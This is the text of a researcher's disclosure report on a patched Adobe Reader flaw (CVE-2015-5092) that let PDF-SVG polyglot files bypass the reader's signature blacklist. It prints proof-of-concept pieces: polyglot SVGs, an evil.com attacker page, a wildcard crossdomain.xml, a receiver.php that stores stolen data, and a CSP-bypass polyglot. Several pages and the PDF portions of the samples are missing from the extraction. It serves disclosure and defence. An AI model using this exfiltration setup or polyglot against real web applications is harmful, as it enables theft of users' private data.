PDF-based polyglots through SVG images

PDF-based polyglots

through SVG images

Target product: Adobe Reader

Researcher: Mauro Gentile

PDF-SVG polyglots in Adobe Reader

Page 1/11

Summary

1 PDF-BASED POLYGLOTS THROUGH SVG IMAGES ............................... 2

1.1.1 Description ............................................................................................................. 2

1.1.2 Exploitation scenario ............................................................................................. 4

1.1.3 Impact .................................................................................................................... 7

1.1.4 Polyglots related to XSS and Content Security Policy ............................................ 8

1.1.5 References ........................................................................................................... 10


Page 2/11

1 PDF-based polyglots through SVG images

The vulnerability described in this report was responsibly reported to Adobe on April 21, 2015.

Adobe released a patch on July 14, 2015 (APSB15-15: https://helpx.adobe.com/security/products/reader/apsb15-15.html), and has assigned CVE-2015-5092 to the specific security issue.

1.1.1 Description

The “PDF Content Smuggling” concept was introduced by Magazinius, Rios and Sabelfeld in an academic paper entitled “Polyglots: Crossing Origins by Crossing Formats” [1, 2]; the technique is based on the idea to adopt PDF-based polyglots (i.e. files which are both PDF documents and images) to perform same-origin request forgery aiming towards exfiltrating private data in the context of a target domain [3, 4].

Adobe patched this issue by comparing the first bytes of the PDF document against a set of known file signatures: if a match is found, the parser will abort loading of the document. Obviously, such approach has some intrinsic weaknesses:

1. Blacklisting known file signatures could be bypassed if we are able to spot file formats, which are not blacklisted.

2. Identifying file formats, whose signature can appear beyond offset 0, would still lead to PDF-based polyglots.

However, no widespread image format is allowed to start beyond offset 0 [5, 6] and signatures for popular formats are blacklisted. This implies that PDF-based polyglots are not possible anymore if the benign format is a common image, unless there exists a format with some degree of freedom with respect to the “signature bytes”.

As a consequence of these considerations, we can introduce the PDF-SVG polyglots, since SVG format is quite tolerant with respect to the “signature bytes”1.

Adobe took into consideration SVG images too, and made the following choices2 when addressing the content smuggling issue:

“<?xml” at offset 0 is blacklisted

“<svg” at offset 0 is blacklisted

“<!DOCTYPE” at offset 0 is not blacklisted

1 For the sake of clarity, it is not appropriate to talk about “signature bytes” for the SVG format. 2 Test results refer to Adobe Reader version 11.0.11; changes have been applied in version 11.0.12 in order to address the vulnerability herein described.

https://helpx.adobe.com/security/products/reader/apsb15-15.html


Page 3/11

Introducing whitespaces and/or new lines before “<?xml” or “<svg” does not bypass the patch; instead, putting any other character before these two blacklisted signatures leads to a successful bypass, but it makes the resulting SVG file not syntactically well-formed.

Nevertheless, valid PDF-SVG polyglots, which will be correctly read both by Adobe Reader and by SVG images interpreters, can exist as we are reporting in the following cases.

1) Comment at offset 0



<svg xmlns="http://www.w3.org/2000/svg" version="1.1">

<circle r="100" fill="blue" />

</svg>



2) Dummy tag at offset 0

<i>



</svg>

</i> <svg xmlns="http://www.w3.org/2000/svg" version="1.1"><circle r="100" fill="blue"

/></svg>

http://example.com/privatedata.php

<?php

session_start();

if (isset($_SESSION['user'])) {

echo "PRIVATEDATA...";

} else {

echo "nothing";

}

?>

http://evil.com/test.html

<img src="http://example.com/files/user_uploaded.svg" />

<object data="http://example.com/files/user_uploaded.svg"

type="application/pdf"

width="350"

height="200" />

http://evil.com/crossdomain.xml

<?xml version="1.0" encoding="UTF-8"?>

<cross-domain-policy>

<allow-access-from domain="*"/>

</cross-domain-policy>

http://evil.com/receiver.php

<?php

if ($_SERVER['REQUEST_METHOD'] === 'POST') {

$data = file_get_contents('php://input')."\n";

$ret = file_put_contents('/tmp/data.txt', $data, FILE_APPEND | LOCK_EX);

}


Page 7/11

?>

Attack flow

The attack flow is reported below.

1. The victim logs in http://example.com/

2. The victim is asked to visit http://evil.com/test.html

3. The PDF polyglot steals victim’s private data and sends them to http://evil.com/receiver.php

Testing environment

The shown polyglots were successfully tested in the following environments:

1. Windows 7, Adobe Reader plug-in 11.0.11.18, on Mozilla Firefox 39.0, in which we set “Preview in Firefox with Adobe Reader” for the PDF file format.

2. Windows 7, Adobe Reader plug-in 11.0.11.18, on Opera 30.0, in which we disabled the “Chrome PDF viewer”.

3. Windows 7, Adobe Reader plug-in 11.0.11.18, on Google Chrome 44.0.2403.107, in which we disabled the “Chrome PDF viewer”, and enabled the Adobe Reader plug-in.

Note that PDF polyglots do not work in Internet Explorer since it downloads them and opens a local copy.

In addition, take into consideration that default installations of Firefox, Chrome and Opera do not use Adobe Reader for rendering PDF files, therefore potentially affected users are the ones who modified their browser settings in order to use Adobe Reader instead of the default built-in reader.

1.1.3 Impact

Allowing users to upload SVG files can be considered as dangerous as making them upload HTML files aiming towards triggering XSS attacks; for all details refer to the research carried out by Heiderich [10, 11, 12].

By the way, modern web applications use to adopt filters against uploaded SVG files, in order to identify whether they contain tags and/or attributes, whose goal is to execute JavaScript.

By considering the case of XSS(-SVG) filters, which are strict enough to block any bypass attempt, then the aforementioned polyglots would still make the target web application vulnerable to same-origin request forgery and content hijacking; this is due to the fact


Page 8/11

that the PDF content would be seen as a comment in the context of the SVG filtering procedure3.

For further inspiration about polyglots and PDF related resources refer to [13, 14, 15, 16, 17, 18, 19].

1.1.4 Polyglots related to XSS and Content Security Policy

Although several research has been carried out in the last years, Inführ recently proposed an interesting case for triggering Cross-Site Scripting through PDF files [7, 20].

Basically, it was possible to execute JavaScript code in the context of a target domain by uploading malicious PDF files; the execution took place by abusing the GoToE function.

By combining the PDF-based polyglots issue with the just mentioned XSS problem, we are able to craft a malicious SVG(-PDF) image which contains an HTML document, which embeds itself, making the execution of arbitrary JavaScript code take place.

Consider the following PDF-based polyglot to better understand:

<!DOCTYPE svg>



<foreignObject>

<body xmlns="http://www.w3.org/1999/xhtml">

<embed src="#" type="application/pdf"></embed>

</body>

</foreignObject>

</svg>



The reported polyglot proves quite interesting, since it leads to a Content Security Policy bypass in Blink-based browsers4.

By considering the case of a target web application using CSP as follows, then the assumption that JavaScript execution cannot take place becomes wrong, unless the victim is using a patched version5 of Adobe Reader.

Content-Security-Policy: default-src 'self'; script-src 'none';

By visiting the SVG file reported above, document.domain is alerted.

In these conditions, the combination of the polyglots and the XSS bug becomes quite useful for attacking web applications allowing SVG files uploads (, but prohibiting genuine PDFs uploads, ) and relying only on CSP for protecting against XSS.

Although this approach raises the overall vulnerability impact, it is clear that allowing foreignObjects tags in uploaded SVG files is sufficient for being vulnerable to stored XSS;

4 Tested in Google Chrome 44.0.2403.107 and Opera 30.0, with Adobe Reader plug-in 11.0.11.18 enabled in place of Chrome PDF viewer. 5 Both XSS through GoToE and the SVG related content smuggling issue have been patched in Adobe Reader 11.0.12.


Page 10/11

therefore, the presented attack becomes reasonable if XSS protection is achieved through CSP only.

For the sake of completeness, the relation among SVG images and CSP was exhaustively described by deGraaf [21].

The adoption of polyglots to bypass CSP was previously discussed by Heiderich in a scenario in which HTML Imports were abused to load a malicious same-origin GIF image [22, 23]. Defining default-src to ‘self’ implies giving wide confidence to the same-origin, thus, having a chance to upload polyglots on this origin would make CSP protection potentially useless, unless the application is restricting any specific policy directive.

In a more general perspective, it is clear that the problem involves external trusted domains too; for instance, embedding scripts from a domain accepting SWF files uploads would still make the CSP protection useless [24].

Eventually, curious readers may be interested in some other CSP bypass techniques by Kouzemtchenko [25].

Notes:

1. The minimal PDF file was taken from: https://code.google.com/p/corkami/wiki/PDFTricks#Minimalists_PDF

2. The PDF template file, using FormCalc, was taken from the Cross-Site Content Hijacking proof of concepts by Soroush Dalili of NCC Group: https://github.com/nccgroup/CrossSiteContentHijacking/blob/master/ContentHijacking/objects/xfa-manual-ContentHijacking.pdf

1.1.5 References

[1] "Polyglots: Crossing Origins by Crossing Formats", Jonas Magazinius, Billy K. Rios, Andrei Sabelfeld - http://www.cse.chalmers.se/~andrei/ccs13.pdf

[2] "Content Smuggling", Billy K. Rios - http://xs-sniper.com/blog/2012/10/11/content-smuggling/

[3] "Crossing Origins by Crossing Formats", Jonas Magazinius - http://www.slideshare.net/internot/crossing-origins-by-crossing-formats

[4] "Crossing Origins by Crossing Formats", Jonas Magazinius - https://www.owasp.org/images/8/85/Crossing.Origins.by.Crossing.Formats-Jonas.Magazinius-OWASP-131010.pptx

[5] "Corkamix", Ange Albertini - https://code.google.com/p/corkami/wiki/mix?show=content

[6] "Messing with binary formats", Ange Albertini - http://www.slideshare.net/ange4771/messing-with-binary-formats

https://code.google.com/p/corkami/wiki/PDFTricks#Minimalists_PDF

https://github.com/nccgroup/CrossSiteContentHijacking/blob/master/ContentHijacking/objects/xfa-manual-ContentHijacking.pdf

https://github.com/nccgroup/CrossSiteContentHijacking/blob/master/ContentHijacking/objects/xfa-manual-ContentHijacking.pdf

http://www.cse.chalmers.se/~andrei/ccs13.pdf

http://xs-sniper.com/blog/2012/10/11/content-smuggling/

http://www.slideshare.net/internot/crossing-origins-by-crossing-formats

https://www.owasp.org/images/8/85/Crossing.Origins.by.Crossing.Formats-Jonas.Magazinius-OWASP-131010.pptx

https://www.owasp.org/images/8/85/Crossing.Origins.by.Crossing.Formats-Jonas.Magazinius-OWASP-131010.pptx

https://code.google.com/p/corkami/wiki/mix?show=content

http://www.slideshare.net/ange4771/messing-with-binary-formats

http://www.slideshare.net/ange4771/messing-with-binary-formats


Page 11/11

[7] "Multiple PDF Vulnerabilities - Text and Pictures on Steroids", Alex Inführ - http://insert-script.blogspot.co.at/2014/12/multiple-pdf-vulnerabilites-text-and.html

[8] "Cross-Site Content Hijacking (XSCH) PoC", Soroush Dalili - https://github.com/nccgroup/CrossSiteContentHijacking

[9] "SDRF vulns in webapps and browsers", Vladimir Vorontsov - http://seclists.org/fulldisclosure/2010/Aug/236

[10] "HTML5 Security Cheatsheet - Vectors embedded in SVG files", Mario Heiderich - http://html5sec.org/#svg

[11] "The Image that called me", Mario Heiderich - http://www.slideshare.net/x00mario/the-image-that-called-me

[12] "Crouching Tiger - Hidden Payload: Security Risks of Scalable Vectors Graphics", Mario Heiderich, Tilman Frosch, Meiko Jensen, Thorsten Holz - http://www.hgi.ruhr-uni-bochum.de/media/hgi/veroeffentlichungen/2011/10/19/svgSecurity-ccs11.pdf

[13] "Hello, squirrel fans!", Michal Zalewski - http://lcamtuf.coredump.cx/squirrel/

[14] "Deadly Pixels", Saumil Shah - http://www.slideshare.net/saumilshah/deadly-pixels-nsc-2013

[15] "Valid pictures with useable JavaScript", Ange Albertini - https://code.google.com/p/corkami/downloads/detail?name=jspics.zip&can=2&q=

[16] "OMG-WTF-PDF", Julia Wolf - http://www.troopers.de/wp-content/uploads/2011/04/TR11_Wolf_OMG_PDF.pdf

[17] "Advanced PDF Tricks", Ange Albertini - https://speakerdeck.com/ange/advanced-pdf-tricks

[18] "Funky File Formats", Ange Albertini - https://speakerdeck.com/ange/funky-file-formats-31c3

[19] "Polyglot payloads in practice", Mathias Karlsson - http://www.slideshare.net/MathiasKarlsson2/polyglot-payloads-in-practice-by-avlidienbrunn-at-hackpra

[20] "PDF - Mess with the web", Alex Inführ - http://insert-script.blogspot.co.at/2015/05/pdf-mess-with-web.html

[21] "SVG: Exploiting Browsers Without Image Parsing Bugs", Rennie deGraaf - https://www.blackhat.com/docs/us-14/materials/us-14-DeGraaf-SVG-Exploiting-Browsers-Without-Image-Parsing-Bugs.pdf

[22] "CSP Bypass in Chrome Canary + AngularJS", Mario Heiderich - https://html5sec.org/cspbypass/

[23] "JSMVCOMFG - To sternly look at JavaScript MVC and Templating Frameworks", Mario Heiderich - http://www.slideshare.net/x00mario/jsmvcomfg-to-sternly-look-at-javascript-mvc-and-templating-frameworks

[24] "Building an XSS polyglot through SWF and CSP", Frans Rosén - http://labs.detectify.com/post/120088174539/building-an-xss-polyglot-through-swf-and-csp

[25] "Bypassing Content Security Policy", Alex Kouzemtchenko - https://www.youtube.com/watch?v=LA9S9I4Co00

http://insert-script.blogspot.co.at/2014/12/multiple-pdf-vulnerabilites-text-and.html

http://insert-script.blogspot.co.at/2014/12/multiple-pdf-vulnerabilites-text-and.html

https://github.com/nccgroup/CrossSiteContentHijacking

http://seclists.org/fulldisclosure/2010/Aug/236

http://html5sec.org/#svg

http://www.slideshare.net/x00mario/the-image-that-called-me

http://www.slideshare.net/x00mario/the-image-that-called-me

http://www.hgi.ruhr-uni-bochum.de/media/hgi/veroeffentlichungen/2011/10/19/svgSecurity-ccs11.pdf

http://www.hgi.ruhr-uni-bochum.de/media/hgi/veroeffentlichungen/2011/10/19/svgSecurity-ccs11.pdf

http://lcamtuf.coredump.cx/squirrel/

http://www.slideshare.net/saumilshah/deadly-pixels-nsc-2013

https://code.google.com/p/corkami/downloads/detail?name=jspics.zip&can=2&q

http://www.troopers.de/wp-content/uploads/2011/04/TR11_Wolf_OMG_PDF.pdf

http://www.troopers.de/wp-content/uploads/2011/04/TR11_Wolf_OMG_PDF.pdf

https://speakerdeck.com/ange/advanced-pdf-tricks

https://speakerdeck.com/ange/funky-file-formats-31c3

http://www.slideshare.net/MathiasKarlsson2/polyglot-payloads-in-practice-by-avlidienbrunn-at-hackpra

http://insert-script.blogspot.co.at/2015/05/pdf-mess-with-web.html

http://insert-script.blogspot.co.at/2015/05/pdf-mess-with-web.html

https://www.blackhat.com/docs/us-14/materials/us-14-DeGraaf-SVG-Exploiting-Browsers-Without-Image-Parsing-Bugs.pdf

https://www.blackhat.com/docs/us-14/materials/us-14-DeGraaf-SVG-Exploiting-Browsers-Without-Image-Parsing-Bugs.pdf

https://html5sec.org/cspbypass/

http://www.slideshare.net/x00mario/jsmvcomfg-to-sternly-look-at-javascript-mvc-and-templating-frameworks

http://www.slideshare.net/x00mario/jsmvcomfg-to-sternly-look-at-javascript-mvc-and-templating-frameworks

http://labs.detectify.com/post/120088174539/building-an-xss-polyglot-through-swf-and-csp

https://www.youtube.com/watch?v=LA9S9I4Co00

Software

PDF-based polyglots through SVG images